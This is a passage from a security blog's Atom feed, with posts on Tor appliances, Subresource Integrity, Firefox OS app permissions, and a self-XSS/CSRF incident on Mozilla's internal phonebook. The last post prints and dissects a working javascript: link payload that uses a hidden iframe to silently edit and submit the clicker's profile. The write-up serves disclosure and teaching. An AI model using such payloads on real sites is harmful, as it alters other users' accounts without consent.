What I want to talk about is Anonabox: I greatly support the idea of supporting the Tor network and adding as many nodes as possible. I agree that this is a great device to make this easier and hope that it will strengthen the Tor network in terms of bandwidth and diversity. I am quite sure that greater uptake will also help fixing some of the usability problems that come with browsing through Tor: A lot of websites block or discriminate against Tor users by disallowing them to register or post content - mostly because they are scared of abuse. Even though a non-anonymized stranger might possibly do as much damage as a Tor user. More Tor users is good! We also need Tor traffic which does recreational browsing (e.g., looking at animated gifs).&lt;/p&gt;
&lt;h3&gt;What Anonabox can not do&lt;/h3&gt;
&lt;p&gt;OK, now that I have gotten this disclaimer out, here's what I &lt;em&gt;do&lt;/em&gt; want to emphasize most: Anonabox&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; is not going to change your browsing behavior. You have to remember that whenever you login with something, it is capable of tracking you along the web. This applies mostly to Social Networks which have wide-spread "share this" buttons (e.g., Twitter, Facebook), but may also apply to Advertising Networks as they also have a great visibility into the list of websites you visit, which gives them a lot of information about yourself.&lt;/p&gt;
&lt;p&gt;But what's worse, is that &lt;strong&gt;your browser is a highly functional, application platform&lt;/strong&gt; for running whatever code a websites offers you. This code is heavily restricted from accessing your machine&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;, but that still gives the website a great deal of control over your browsing context. And the context is enough to &lt;a href="https://en.wikipedia.org/wiki/Canvas_fingerprinting"&gt;generate a fingerprint&lt;/a&gt; of your device that allows a marginally skilled techie to recognize you &lt;a href="https://en.wikipedia.org/wiki/Evercookie"&gt;whenever you come back&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anonabox&lt;sup id="fnref2:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; is incapable of modifying your browser or its functionality. It also can and should not look into your web traffic to prevent those bad things. Good internet traffic is encrypted traffic and when nobody should be able to look inside, this includes anonabox.&lt;/p&gt;
&lt;h3&gt;Do not rely on a false sense of Anonymity&lt;/h3&gt;
&lt;p&gt;If you have to rely on being anonymous, you can not rely on anonabox alone. &lt;strong&gt;If you care about anonymity, you must use a browser that has been patched and tamed towards privacy, not functionality&lt;/strong&gt;. Read the &lt;a href="https://www.torproject.org/download/download-easy.html.en#warning"&gt;Tor Warnings&lt;/a&gt; and use the &lt;a href="https://www.torproject.org/download/download-easy.html.en"&gt;Tor Browser&lt;/a&gt;. This is the best way to stay anonymous with Tor.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This applies to all future and &lt;a href="https://pogoplug.com/safeplug"&gt;previous&lt;/a&gt; incarnation of Tor appliances. But if you like to tinker (and safe some money), you could run the free &lt;a href="https://github.com/grugq/portal"&gt;PORTAL&lt;/a&gt; software on that &lt;a href="https://github.com/grugq/PORTALofPi"&gt;Raspberry Pi&lt;/a&gt; which is lying on your desk and waiting for a meaningful use case.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Well, a lot of browser exploits have proven this wrong. But let's not get into this for now.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="misc"></category></entry><entry><title>Subresource Integrity</title><link href="https://frederik-braun.com/subresource-integrity.html" rel="alternate"></link><published>2014-10-05T00:00:00+02:00</published><updated>2014-10-05T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-10-05:/subresource-integrity.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;This article has been superseded by a &lt;a href="https://frederik-braun.com/using-subresource-integrity.html"&gt;more-recent write-up&lt;/a&gt; of my presentation from OWASP AppSec EU 2015. Alternatively, you can &lt;a href="https://people.mozilla.org/~fbraun/files/sri-appseceu2015.pdf"&gt;download the slides&lt;/a&gt; or &lt;a href="https://www.youtube.com/watch?v=JOcpIF047xs"&gt;watch the video on YouTube&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some time ago, I complained about the prevalence of CDNs for JavaScript
hosting and the trust model that comes with including …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;This article has been superseded by a &lt;a href="https://frederik-braun.com/using-subresource-integrity.html"&gt;more-recent write-up&lt;/a&gt; of my presentation from OWASP AppSec EU 2015. Alternatively, you can &lt;a href="https://people.mozilla.org/~fbraun/files/sri-appseceu2015.pdf"&gt;download the slides&lt;/a&gt; or &lt;a href="https://www.youtube.com/watch?v=JOcpIF047xs"&gt;watch the video on YouTube&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some time ago, I complained about the prevalence of CDNs for JavaScript
hosting and the trust model that comes with including JS files
into your web page: Every script may read and request towards &lt;em&gt;everything&lt;/em&gt;
that is on your this website and all your other websites. This is because of the
&lt;a href="https://en.wikipedia.org/wiki/Same-origin_policy"&gt;Same-Origin Policy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After that, Brad Hill (co-chair of the
&lt;a href="http://www.w3.org/2011/webappsec/"&gt;W3C Web Application Security Working Group&lt;/a&gt;)
asked me to help co-edit&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; one of the deliverables for the working group:
A possible feature for the web platform to ensure that resources embedded
or included in a document (e.g. script files from other origins) have not
been tampered with and are indeed the ones the content author intended
to use. This upcoming specification is called
&lt;a href="http://www.w3.org/TR/SRI/"&gt;Subresource Integrity&lt;/a&gt; (SRI)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; .&lt;/p&gt;
&lt;p&gt;The idea is that we include a third party script along side a
cryptographic hash of its content. The web browser may then compute the
hash on retrieving the file and compare if it's the one it expected to
receive. This is how this would look in mark-up:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://analytics-r-us.com/track.js&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ni:///sha-256;SDfwewFAE...wefjijfE?ct=application/javascript&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While certainly not aesthetically appealing, we are using this &lt;code&gt;ni://&lt;/code&gt;
notation because it is already defined in
&lt;a href="https://www.rfc-editor.org/rfc/rfc6920.txt" title="RFC 6920: Naming Things with Hashes"&gt;RFC 6920&lt;/a&gt;.
This mostly saves us time explaining things in the spec and might allow
implementations to re-use existing code. The first half of the &lt;code&gt;ni://&lt;/code&gt;
URL explains which hashing function to use (i.e., SHA-256) while the
second part contains the base64url encoded&lt;sup id="fnref:b"&gt;&lt;a class="footnote-ref" href="#fn:b"&gt;4&lt;/a&gt;&lt;/sup&gt; digest that SHA-256
produces on the content of the script. The &lt;code&gt;ct&lt;/code&gt; bit says explicitly what
kind of content we should expect. This defends against content type
spoofing attacks.&lt;/p&gt;
&lt;h4&gt;Does this mean a script update breaks my web page?&lt;/h4&gt;
&lt;p&gt;Your website does not &lt;em&gt;have to&lt;/em&gt; break when the script file changes.
The previous example given does indeed block a script once the file
changes. And this &lt;em&gt;may&lt;/em&gt; make your website unusable. But you can also
provide a fallback mechanism:
you simply say that the script should be loaded from a CDN that is fast
and likely cached within the browser. But it &lt;em&gt;must&lt;/em&gt; match the hash.
If this is &lt;em&gt;non canonical&lt;/em&gt; location does not work, the browser can still
load the file from your own domain - albeit a little slower:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://example.com/script.js&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;noncanonical-src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://cdn.example.com/script.js&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ni:///sha-256;jsdfhiuwergn...vaaetgoifq?ct=application/javascript&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;See how we changed the attributes? Now &lt;code&gt;src&lt;/code&gt; points to the file that you
host yourself. And the CDN is mentioned as a &lt;em&gt;non canonical&lt;/em&gt; source.
This will make the website work for every case. But you still get the
speed bonus from the CDN.&lt;/p&gt;
&lt;h4&gt;Content addressable storage: More than a CSP Bypass?&lt;/h4&gt;
&lt;p&gt;A useful feature that piggy-backs on SRI might be content-addressable
storage: The idea is, once you can identify a resource by its hash, you
could save yourself the trouble and asking the server for it, if it's
already cached from some other domain.&lt;/p&gt;
&lt;p&gt;The problem that comes with this idea is cache poisoning: The client
still has to find out if the server really hosts this file. Otherwise
an attacker could trick your browser into believing that you host files
which you don't. Content injection (XSS) may then use a previously
stored hash so that it looks like you are hosting the evil JavaScript
payload that the browser has previously seen on evil.com. This nifty
attack was raised by &lt;a href="http://lcamtuf.coredump.cx/"&gt;Michal Zalewski&lt;/a&gt; on
the webappsec w3c mailing list.
My co-worker &lt;a href="https://computerist.org/"&gt;Mark Goodwin&lt;/a&gt; suggests that we
may allow this for hashed files that are already allowed through hashes
in &lt;a href="http://www.w3.org/TR/CSP2/#script-src-hash-usage"&gt;CSP 2 script-src hashes&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;The foul fruit called integrity-checked active mixed content&lt;/h4&gt;
&lt;p&gt;Another idea that has been raised on the mailing list was
&lt;a href="https://developer.mozilla.org/en-US/docs/Security/MixedContent"&gt;mixed content&lt;/a&gt;:
Modern browsers currently block active mixed content, i.e., plain-HTTP
scripts on HTTPS websites. Somebody suggested we might disable this
blocking if SRI is used to make sure that the resource has not been
tampered with. While this is a reasonable argument for the functionality
of the script, it leaves out the confidentiality aspects: HTTPS is also
about confidentiality, and I contend we should continue blocking active
mixed content, even if it contains an SRI &lt;code&gt;integrity&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;What I &lt;em&gt;do&lt;/em&gt; like is that this suggestion looks at JavaScript as a means to
deliver software. And I hope that SRI can play a part in the story of
making software (i.e., script) delivery on the web a bit more secure.&lt;/p&gt;
&lt;h4&gt;SRI helps WebCrypto&lt;/h4&gt;
&lt;p&gt;The story with WebCrypto could really improve through SRI: Although
WebCrypto is
&lt;a href="http://matasano.com/articles/javascript-cryptography/"&gt;considered harmful by Matasano Security&lt;/a&gt;,
I think SRI could fix some of the &lt;a href="http://tonyarcieri.com/whats-wrong-with-webcrypto"&gt;things that are wrong with webcrypto&lt;/a&gt;:
The reality is, more and more applications are implemented as web applications.
Firefox OS has taught me that backend-less, JavaScript-only
applications can power a full phone operating system. And these systems
really &lt;em&gt;need&lt;/em&gt; crypto. The question is just how we do it: It is much
safer to use something provided by the platform than using pure JavaScript
Cryptography&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;. I also think that a tiny web page may bootstrap an
application and verify that trusted code has indeed not been tampered
with, by including all subresources with &lt;code&gt;integrity&lt;/code&gt; attributes.
This tiny web page may even be stored locally as a safe entry point into
websites that use WebCrypto.&lt;/p&gt;
&lt;h4&gt;Site-wide Subresource Integrity with CSP&lt;/h4&gt;
&lt;p&gt;Subresource Integrity plans to extend CSP to include an
&lt;a href="http://www.w3.org/TR/SRI/#handling-integrity-violations-1"&gt;integrity-policy directive&lt;/a&gt;.
This would allow you to apply integrity checks for all resources on
your site. And this also means that a failed integrity check
will be reported just like CSP violations. You will then be able to
enforce and verify integrity for your whole web page.&lt;/p&gt;
&lt;h4&gt;Implementation Status&lt;/h4&gt;
&lt;p&gt;Subresource Integrity is not in your browser. Google Chrome has an
&lt;a href="https://codereview.chromium.org/566083003/"&gt;implementation&lt;/a&gt; that works only for scripts and only on secure origins
(e.g. HTTPS websites). A similarly reduced
&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=992096"&gt;implementation for Firefox&lt;/a&gt;
is currently planned.
Those attempts also exclude &lt;code&gt;integrity-policy&lt;/code&gt; in CSP and violation
reports. In the long run we still want integrity checks for all
kinds of subresources (e.g., images, styles, iframes).&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The spec is joint work with some brilliant people: Devdatta Akhawe from UC Berkeley and Joel Weinberger and Mike West from Google.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;It is currently in an early state, that is called "First Public
Working Draft. And by the way: The worst thing you can do to your inbox
is have your email address published on a W3C website.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Thinking about timing attacks, for example.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:b"&gt;
&lt;p&gt;The url-safe Base64 encoding is explained in &lt;a href="http://tools.ietf.org/html/rfc4648"&gt;RFC4648: The Base16, Base32, and Base64 Data Encodings&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:b" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Revoke App Permissions on Firefox OS</title><link href="https://frederik-braun.com/revoking-permissions-on-firefox-os.html" rel="alternate"></link><published>2014-08-24T00:00:00+02:00</published><updated>2014-08-24T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-08-24:/revoking-permissions-on-firefox-os.html</id><summary type="html">&lt;p&gt;On Firefox OS (FxOS), every app has its own set of permissions. The operating system makes sure that an app may only do things that are requested in the &lt;a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest"&gt;app manifest&lt;/a&gt;.
Some of these permissions are always set to &lt;em&gt;Ask&lt;/em&gt;. Sometimes just because the web platform is built this way …&lt;/p&gt;</summary><content type="html">&lt;p&gt;On Firefox OS (FxOS), every app has its own set of permissions. The operating system makes sure that an app may only do things that are requested in the &lt;a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest"&gt;app manifest&lt;/a&gt;.
Some of these permissions are always set to &lt;em&gt;Ask&lt;/em&gt;. Sometimes just because the web platform is built this way. A common example is the geolocation permission:&lt;/p&gt;
&lt;p&gt;&lt;center&gt;
&lt;img alt="geolocation prompt" src="/images/geolocation-prompt.png"&gt;
&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;There's also the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Alarm_API"&gt;Alarms API&lt;/a&gt;, for example. It allows applications to get opened at a specific time. There is nothing inherently bad with precise alarm functions that honor timezones (or not). But it is hard to know what the App will do with it. This gets exceedingly difficult to explain to users, especially when it comes to technical terms and features like the &lt;code&gt;tcp-socket&lt;/code&gt; permission.&lt;/p&gt;
&lt;p&gt;The security model of Firefox OS is based on contextual prompts. So for APIs that are understandable and human meaningful like geolocation, using the camera or recording audio the OS will prompt the user. You can save &amp;amp; remember these choices and later revisit them in the Settings app under "App Permissions". You may set them to &lt;em&gt;Allow&lt;/em&gt;, &lt;em&gt;Prompt&lt;/em&gt;, or &lt;em&gt;Deny&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For simplicity's sake, all permissions default to something that the inventor's of these APIs deemed safe. For &lt;code&gt;tcp-sockets&lt;/code&gt; and &lt;code&gt;alarms&lt;/code&gt; this is &lt;em&gt;Allow&lt;/em&gt;. For geolocation it's &lt;em&gt;Prompt&lt;/em&gt;.
If you want to know more about the default permission settings, the &lt;a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager#Device_panel_2"&gt;App Manager&lt;/a&gt; can show you how the table looks like for your phone. Here's an excerpt generated on my Flame device on FxOS 2.0:&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/permission-table-2.0.png" title="click for a full list"&gt;
&lt;img alt="permissions table" src="/images/permission-table-cut.png"&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But what if you &lt;em&gt;are&lt;/em&gt; tech savvy? What if you &lt;em&gt;do&lt;/em&gt; want to revoke or be asked for permissions that are a bit hard to explain? &lt;/p&gt;
&lt;p&gt;To bridge this gap and empower tech savvy &amp;amp; paranoid privacy enthusiasts, &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1049371"&gt;I have created&lt;/a&gt; a developer settings that shows a verbose app permissions list. It enhances the normal App Permissions panel of the Settings app.&lt;/p&gt;
&lt;p&gt;Starting with Firefox 2.1, you may activate the &lt;a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings"&gt;developer settings&lt;/a&gt; and tick the checkbox near "Verbose App Permissions". The typical list in the Settings app will then show you all the permissions an app has and allows you to set them to &lt;em&gt;Allow&lt;/em&gt;, &lt;em&gt;Prompt&lt;/em&gt; or &lt;em&gt;Deny&lt;/em&gt;. This feature, however, only targets the Privileged apps. These are apps that come through the Marketplace. For now, we can not revoke permissions for the built-in apps (the permission &lt;code&gt;set()&lt;/code&gt; call throws).&lt;/p&gt;
&lt;p&gt;Beware that you may break the app that you wish to contain - just because it is not designed to cope with failure. Some APIs are designed with an asynchronous request/response pattern. These will likely work fine and not throw an unrecoverable exception. But it still means that the developer has had to set an error handler, or the app might be indefinitely stuck in a waiting state.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>(Self) XSS at Mozilla's internal Phonebook</title><link href="https://frederik-braun.com/self-xss.html" rel="alternate"></link><published>2014-05-23T00:00:00+02:00</published><updated>2014-05-23T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-05-23:/self-xss.html</id><summary type="html">&lt;p&gt;This is a short summary about a goofy XSS/CSRF exploit on an internal
web page at Mozilla.&lt;/p&gt;
&lt;p&gt;A few weeks ago I discovered that our "phonebook" supports a limited
wiki-syntax in the profile descriptions (i.e. &lt;code&gt;[link text http://example.com]&lt;/code&gt;). Despite proper sanitizing to
forbid all markup injections …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is a short summary about a goofy XSS/CSRF exploit on an internal
web page at Mozilla.&lt;/p&gt;
&lt;p&gt;A few weeks ago I discovered that our "phonebook" supports a limited
wiki-syntax in the profile descriptions (i.e. &lt;code&gt;[link text http://example.com]&lt;/code&gt;). Despite proper sanitizing to
forbid all markup injections into HTML tags and attributes it allowed
linking to &lt;code&gt;javascript&lt;/code&gt; URLs. Liking the rich capabilities that come with
JavaScript, I naturally had to insert some script into my profile.
So I started with a small script that changes the background color randomly.
Like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="javascript:void%28setInterval%28%22document.body.style.backgroundColor%3D%27%23%27+%28Math.random%28%29*10e16%29.toString%2816%29.substr%280%2C6%29%22%2C500%29%29"&gt;Click me, I dare you&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Source:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ow"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;document.body.style.backgroundColor=&amp;#39;#&amp;#39;+(Math.random()*10e16).toString(16).substr(0,6)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mf"&gt;500&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What it does? Well, let's start simple. &lt;code&gt;setInterval(…,500)&lt;/code&gt; runs the
code supplied in the first argument every 500ms. The code itself is an
assignment to the document's background color. So we change it quite often.
The rest is a quick way to generate a random six digits hex string, i.e.
an RGB color value: &lt;code&gt;Math.random()&lt;/code&gt; gives a float with a lot of random
digits after the floating point. Multiplying by 10e16 (that is a 10
followed by 16 zeros) makes it a long integer without decimals. &lt;code&gt;toString(16)&lt;/code&gt;
transforms it into a hex string and &lt;code&gt;substr&lt;/code&gt; cuts after six digits. Et violà!
&lt;code&gt;void&lt;/code&gt; makes sure the code doesn't have a return value, which means that
the browser stays on the current web page. I have manually shortened
the code to work without spaces, so it does not break the wiki-syntax.&lt;/p&gt;
&lt;p&gt;Well that was the first revision. I left it for a while and I guess people
clicked on it. I don't know how many, but surely somebody found it.
That was part one. I came back to this a few weeks later and had to
realize that changing the background color is quite boring. What else can
we do? Right. We can try to change other people's profiles.&lt;/p&gt;
&lt;p&gt;This is where the fun starts:&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;iframe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;edit.php&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;display&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="ow"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;f=(i.contentDocument.forms[0\x5D);f[atob(&amp;quot;bmFtZVtd&amp;quot;)\x5D.value+=&amp;quot;\x20\uD83D\uDC35&amp;quot;;f.submit()&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mf"&gt;20e2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Again, this link came with the same "I dare you" text. Let's dissect the source
code. First we create an invisible iframe that loads the "Edit Profile" page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;iframe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;edit.php&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;display&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let's fill out the form and submit. The frame takes some time to load,
so we will prepare a piece of source code in a string and defer execution
with &lt;code&gt;setTimeout&lt;/code&gt;: The code finds the form in the iframe, DOM navigation
is quite easy since the input fields have proper &lt;code&gt;name&lt;/code&gt; attributes, which
exposes them to JavaScript as attributes of the form element.
The source code uses &lt;code&gt;atob&lt;/code&gt;, &lt;code&gt;\x5D&lt;/code&gt; and &lt;code&gt;\x20&lt;/code&gt; so we don't break wiki-syntax.
The escape sequence &lt;code&gt;\uD83D\uDC35&lt;/code&gt; is the unicode monkey face 🐵.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;f=(i.contentDocument.forms[0\x5D);f[atob(&amp;quot;bmFtZVtd&amp;quot;)\x5D.value+=&amp;quot;\x20\uD83D\uDC35&amp;quot;;f.submit()&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once the payload is prepared we just execute it after a certain delay:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ow"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mf"&gt;20e2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So to recap: If you click this link you will add a monkey face to your name
in the background, but it's quite subtle.&lt;/p&gt;
&lt;p&gt;So let's search for the monkey face in the phonebook:
&lt;img alt="Search results" src="/images//selfxss-results.png"&gt;&lt;/p&gt;
&lt;p&gt;At least 12 people have a monkey in their profile 🐵&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This isn't strictly a self-xss as discussed in these three very interesting
blog posts (&lt;a href="http://incompleteness.me/blog/2011/12/14/combating-self-xss/"&gt;1&lt;/a&gt;,
&lt;a href="http://inpursuitoflaziness.blogspot.in/2014/04/the-battle-against-self-xss.html"&gt;2&lt;/a&gt;,
